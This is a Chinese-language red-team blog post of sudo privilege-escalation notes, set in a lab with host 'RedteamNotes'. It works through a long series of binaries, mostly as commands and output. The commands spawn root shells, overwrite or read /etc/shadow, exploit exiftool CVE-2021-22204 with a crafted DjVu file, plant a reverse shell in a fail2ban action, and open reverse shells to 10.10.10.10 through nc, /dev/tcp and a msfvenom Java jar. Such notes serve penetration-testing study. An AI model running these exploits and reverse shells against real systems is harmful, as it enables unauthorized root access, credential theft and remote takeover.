jackie@RedteamNotes:~$ sudo /usr/bin/awk 'BEGIN {system("/bin/bash")}'
root@RedteamNotes:/home/jackie#

'BEGIN {system("/bin/bash")}'是 awk 的语法,是传递给 awk 的脚本。BEGIN 是 awk 的一个特殊模式,表示在处理任何输入行之前执行的动作。在这个脚本中,BEGIN 块中的唯一动作是调用 system 函数。system 函数用于在 awk 内部执行 shell 命令,这里的命令是 /bin/bash,也就是启动一个新的 bash shell

sudo base64

1
2
jackie@RedteamNotes:~$ RedteamNotes=/etc/shadow
jackie@RedteamNotes:~$ sudo base64 "$RedteamNotes" | base64 -d

base32 、 base58、basenc、basez 等可以用同的方法

sudo bash

1
2
jackie@RedteamNotes:~$ sudo /bin/bash
root@RedteamNotes:/home/jackie#

ash、csh、dash、sh、tclsh、zsh 都是常用的 bash

sudo cp

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~/Musics/PrivEscaLabs/sudoers]
└─$ mkpasswd -m sha-512 123456
$6$v9bEKME9H9vcitGI$.O4zh9.UbFFKIdQ3L0em9fa4dceluRA.ygQFF0e10Rs2aw8RD.iOjjfdCjCwYSZzXaAfwDSyS3OKx8uBcUQSs/

┌──(kali㉿kali)-[~/Musics/PrivEscaLabs/sudoers]
└─$
root:$6$v9bEKME9H9vcitGI$.O4zh9.UbFFKIdQ3L0em9fa4dceluRA.ygQFF0e10Rs2aw8RD.iOjjfdCjCwYSZzXaAfwDSyS3OKx8uBcUQSs/:19495:0:99999:7:::
1
2
3
4
5
6
7
8
9
10
jackie@RedteamNotes:~$ RedteamNotes=/etc/shadow
jackie@RedteamNotes:~$ TF=$(mktemp)
jackie@RedteamNotes:~$ echo
'root:$6$v9bEKME9H9vcitGI$.O4zh9.UbFFKIdQ3L0em9fa4dceluRA.ygQFF0e10Rs2aw8RD.iOjjfdCjCwYSZzXaAfwDSyS3OKx8uBcUQSs/:19495:0:99999:7:::' > $TF
jackie@RedteamNotes:~$ echo $TF
/tmp/tmp.bpJlJC5XIv
jackie@RedteamNotes:~$ cat /tmp/tmp.bpJlJC5XIv
root:$6$v9bEKME9H9vcitGI$.O4zh9.UbFFKIdQ3L0em9fa4dceluRA.ygQFF0e10Rs2aw8RD.iOjjfdCj
CwYSZzXaAfwDSyS3OKx8uBcUQSs/:19495:0:99999:7:::
jackie@RedteamNotes:~$ sudo /usr/bin/cp $TF $RedteamNotes

TF=$(mktemp)做临时文件赋值给 TF,这种做临时文件的方式是专业的做法,是最佳实践,还是从安全和便捷角度考虑的。TF 是 Temp File,也可以根据需要自主命名。

sudo cpulimit

1
2
3
jackie@RedteamNotes:~$ sudo cpulimit -l 100 -f /bin/bash
Process 3082 detected
root@RedteamNotes:/home/jackie#

sudo cpulimit -l 100 -f /bin/sh 这个命令的目的是以超级用户权限限制 /bin/sh 命令的 CPU 使用率不超过 100%。

sudo curl

1
2
3
4
5
6
7
# 本地生成哈希密码
┌──(kali㉿kali)-[~/Musics/PrivEscaLabs/sudoers]
└─$ mkpasswd -m sha-512 123456
$6$owj08NcJSU1z7CMp$17Lc7yTSV27fe/fwG.kShdwk02MkgvgwSfWZDG3iRJMQNBsG6pPtJQWJ3iaPes5WdrRl1ZFI4CRL.IEtfCD.y1

# 使用curl命令获取文件,并覆盖shadow文件
jackie@RedteamNotes:~$ sudo curl http://10.10.10.10/shadow_bespoke -o /etc/shadow

sudo date

1
2
3
4
# -f 参数允许 date 从给定的文件中读取日期和时间。这个文件应包含一行或多行日期和时间信息。虽然报错/etc/shadow 文件却被显示出来。
jackie@RedteamNotes:~$ sudo date -f /etc/shadow
date: invalid date
‘root:$6$1mokVIOR1y0hKn2n$.ImQujW12YEC4sMF7IQcUQmLStAQHuByyNhVIiEzvF/SQx3nBMPBFi4xQ40sp80V6ivaJEAy/0n23TsTi.AnO.:19495:0:99999:7:::’

sudo dd

1
2
jackie@RedteamNotes:~$ echo 'root:$6$owj08NcJSU1z7CMp$17Lc7yTSV27fe/fwG.kShdwk02MkgvgwSfWZDG3iRJMQNBsG6pPtJQWJ3iaPes5WdrRl1ZFI4CRL.IEtfCD.y1:17298:0:99999:7:::' | sudo dd of=/etc/shadow

dd 是一个命令行工具,常用在 Unix 和 Linux 系统中,用于对原始数据进行低级别的复制和转换。它非常灵活,可以用于许多任务,如复制数据、转换数据的编码、生成文件等。if 是输入,of 是输出。

sudo dstat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
jackie@RedteamNotes:~$ find / -name dstat -type d 2>/dev/null
/usr/share/doc/dstat
/usr/share/dstat

# 插件写入python文件
jackie@RedteamNotes:/usr/share/dstat$ cat dstat_exploit.py
import os; os.execv("/bin/bash", ["bash"])

# 加载构造好的恶意插件
jackie@RedteamNotes:/usr/share/dstat$ sudo dstat --exploit
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib and slated for removal in Python 3.12; see the module\'s documentation
for alternative uses
import imp
root@RedteamNotes:/usr/share/dstat#

dstat 是一个用于系统监控和诊断的工具,它提供了实时的性能统计数据和系统资源使用情况。通过使用 dstat 命令,您可以获得关于 CPU、内存、磁盘、网络等方面的详细信息。

sudo ed

1
2
3
jackie@RedteamNotes:~$ sudo ed
!/bin/bash
root@RedteamNotes:/home/jackie#

ed 是一个编辑器,一个基于行的文本编辑器,它被设计成在终端中进行操作

sudo env

1
2
jackie@RedteamNotes:~$ sudo env /bin/bash
root@RedteamNotes:/home/jackie#

env 通常用于设置和显示环境变量的值

sudo exiftool

1
2
3
4
5
6
7
8
9
10
11
stux@ubuntu:~$ exiftool -ver
12.05
# CVE-2021-22204,exiftool的12.05可以存在漏洞。一般认为exiftool 7.44-12.23都可能存在漏洞

stux@ubuntu:~$ vi payload
stux@ubuntu:~$ cat payload
(metadata "\c${system('/bin/bash')};")
stux@ubuntu:~$ bzz payload payload.bzz
stux@ubuntu:~$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
stux@ubuntu:~$ sudo exiftool exploit.djvu
root@ubuntu:~#

BZZ 是一种文件压缩格式,它提供了高压缩比和快速解压缩速度。BZZ 文件通常具有较小的文件大小,可以节省存储空间,并且在解压缩时不会对文件的完整性产生影响。

DjVuMake 是用于创建和转换 DjVu 文件的工具。DjVu 是一种图像压缩文件格式,主要用于扫描文档和电子书。与其他图像格式相比,DjVu 可以提供更高的压缩比,同时保持较好的图像质量。DjVuMake 工具可以将图像、文本和其他数据转换为 DjVu 格式,并且可以进行一些优化和配置,以满足特定需求。DjVu 文件通常用于在网络上共享大型扫描文档,以便更快地加载和浏览。

sudo expect

1
2
3
jackie@RedteamNotes:~$ sudo expect -c 'spawn /bin/bash;interact'
spawn /bin/bash
root@RedteamNotes:/home/jackie#

expect 能够模拟用户的键盘输入(例如,密码和其他响应),因此可以自动化需要用户交互的过程。它主要用于脚本和其他自动化环境中。

整个命令 sudo expect -c 'spawn /bin/bash;interact' 将以 root 用户的身份在新的 shell 进程中开启一个交互式会话。-c 允许你直接在命令行中输入 expect 脚本代码,而不是从文件中读取。

sudo fail2ban

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 查找fail2ban的配置文件
jackie@RedteamNotes:/etc/fail2ban$ find / -name "fail2ban*" -type d 2>/dev/null
/usr/share/doc/fail2ban
/usr/lib/python3/dist-packages/fail2ban-0.11.2.egg-info
/usr/lib/python3/dist-packages/fail2ban
/run/fail2ban
/var/lib/fail2ban
/etc/fail2ban
/etc/fail2ban/fail2ban.d

# 查看fail2ban的规则文件文件夹是否可写。
jackie@RedteamNotes:~$ find /etc -writable -type d 2>/dev/null
/etc/fail2ban/action.d

# 查看配置文件权限
jackie@RedteamNotes:/etc/fail2ban$ ls -liah jail.conf
442894 -rw-r--r-- 1 root root 25K May 22 09:27 jail.conf

# 虽然文件不可写,但文件夹是可写的,因此我们可以将文件重命名,然后复制成当前用户权限的文件
jackie@RedteamNotes:/etc/fail2ban/action.d$ mv iptables-multiport.conf iptablesmultiport.conf.bak
jackie@RedteamNotes:/etc/fail2ban/action.d$ cp iptables-multiport.conf.bak iptables-multiport.conf

mv 是移动文件,属主不变,cp 是创建文件属主会是操作者的数组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 加入反弹shell的逻辑
jackie@RedteamNotes:/etc/fail2ban/action.d$ vim iptables-multiport.conf
jackie@RedteamNotes:/etc/fail2ban/action.d$ cat iptables-multiport.conf | grep
actionban
# Notes.: command executed once before each actionban command
# Option: actionban
# actionban = <iptables> -I f2b-<name> 1 -s <ip> -j <blocktype>
actionban = rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.10.10 9595 >/tmp/f

# 重启fail2ban
jackie@RedteamNotes:/etc/fail2ban/action.d$ sudo /etc/init.d/fail2ban restart
Restarting fail2ban (via systemctl): fail2ban.service.

# 快速尝试错误密码,进而触发action,从而实现反弹shell

sudo find

1
2
jackie@RedteamNotes:~$ sudo find . -exec /bin/bash \; -quit
root@RedteamNotes:/home/jackie#

\; 则是 -exec 参数的结束符,告诉 find 命令 -exec 参数的内容到此为止。需要注意的是,-exec 命令后面的 \; 必须被转义(即加上 \),否则 shell 会将 ; 解释为命令分隔符,这会导致 -exec 参数没有正确的结束,从而引发错误。因此我们需要写成 \;,而不是单独的 ;

sudo flock

flock : 这是一个在 Linux 中管理文件锁定的实用程序。它可以用来协调多个进程对文件或文件系统的访问,避免这些进程同时访问同一资源导致的问题。-u : 这是一个flock的选项,表示解锁。

1
2
jackie@RedteamNotes:~$ sudo flock -u / /bin/bash
root@RedteamNotes:/home/jackie#

sudo ftp

1
2
3
jackie@RedteamNotes:~$ sudo ftp
ftp> !/bin/bash
root@RedteamNotes:/home/jackie#

! 在这里是一个特殊的字符,表示要暂时离开 FTP 会话并在本地 shell 中执行命令。!的这个用法在 vi、ed 等编辑器场景下也存在。可以总结为一种通行做法。

sudo gcc

1
2
jackie@RedteamNotes:~$ sudo gcc -wrapper /bin/bash,-s .
root@RedteamNotes:/home/jackie#
  1. -wrapper:这是 gcc 的一个选项,它允许你在 gcc 调用实际编译器或链接器之前,先调用一个包装器(wrapper)脚本或程序。
  2. ,-s:是 bash 带的一个选项,它使得 bash 在读取到 EOF 时不会退出(通常用于从标准输入读取命令)
  3. 最后那个.就是编译的源码,你给他任意源码也行,但因为不想编译任何东西,所以最简略的就是给他很通用的东西——当前目录的全部。

sudo gdb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
jackie@RedteamNotes:~$ sudo gdb -nx -ex '!bash' -ex quit
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".
root@RedteamNotes:/home/jackie#
  1. -nx : “no execute”这个选项告诉 gdb 在启动时不读取任何.gdbinit 文件。.gdbinit 文件是一个配置文件,gdb 在启动时会读取这个文件中的命令。
  2. -ex : “execute”这个选项允许你在 gdb 启动时执行一段 gdb 命令。”execute”
  3. '!bash' : 在 gdb 中,!用来执行 shell 命令,因此!bash 就是在 gdb 中启动一个 bash shell。
  4. -ex quit : 这个命令让 gdb 在执行完前面的命令之后退出。

sudo git

1
2
3
jackie@RedteamNotes:~$ sudo git branch --help
!/bin/sh
root@RedteamNotes:/home/jackie#

git 用的标准 manual 工具,然后就可以用 manual 提权的思路了。和 less、more 的类似。

sudo gzip/gunzip

1
2
3
jackie@RedteamNotes:~$ sudo gzip -f /etc/shadow -t
root:$6$1mokVIOR1y0hKn2n$.ImQujW12YEC4sMF7IQcUQmLStAQHuByyNhVIiEzvF/SQx3nBMPBFi4xQ4
0sp80V6ivaJEAy/0n23TsTi.AnO.:19495:0:99999:7:::

因为 sudo 允许命令以 root 用户的权限运行。当 gzip -t 尝试读取和测试 /etc/shadow 时,它实际上访问了这个包含敏感信息的文件

sudo hping3

1
2
3
jackie@RedteamNotes:~$ sudo hping3
hping3> /bin/bash
root@RedteamNotes:/home/jackie#

Hping3 是一个强大的网络工具,主要用于分析和测试网络环境,生成各种类型的 ICMP、IP、TCP、UDP 或 RAW-IP 协议数据包。

sudo iftop

1
2
3
4
5
6
user@RedteamNotes:~$ sudo iftop
!/bin/bash
interface: eth0
IP address is: 10.10.10.12
MAC address is: 00:0c:29:b2:08:d5
root@RedteamNotes:/home/user#

在 iftop 界面,输入!进入命令模式,输入/bin/bash 启动子 shell。iftop 是一个命令行的网络流量监控工具,用于实时显示一个网络接口的带宽使用情况。类似于 top 命令,它可以提供活动的网络连接和使用带宽的实时视图。

sudo java

1
2
3
4
5
6
7
8
9
10
11
# kali中生成反弹shell的jar包,将其上传到靶机
┌──(kali㉿kali)-[~/Musics/PrivEscaLabs/sudoers]
└─$ sudo msfvenom -p java/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f jar -o
shell.jar
[sudo] password for kali:
Payload size: 7502 bytes
Final size of jar file: 7502 bytes
Saved as: shell.jar

# sudo 执行
jackie@RedteamNotes:/tmp$ sudo /usr/bin/java -jar shell.jar

sudo jjs

1
2
3
# 这次GTFOBins的语句可能是不生效的,进场会彻底卡死靶机
# 参考了 https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
echo "Java.type('java.lang.Runtime').getRuntime().exec(['/bin/bash','-c','exec 5<>/dev/tcp/10.10.10.10/9595;cat <&5 | while read line; do \$line 2>&5 >&5; done']).waitFor()" | sudo jjs

有些时候提高交互性可能会失败,这时候可以用 echo $SHELL 尝试探查,如果异常,可以新建一个反弹 shell

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.10.10 4444 >/tmp/f

「红队笔记」Linux提权精讲
https://i3eg1nner.github.io/2023/07/fc6d5535056b.html
作者
I3eg1nner
发布于
2023年7月4日
许可协议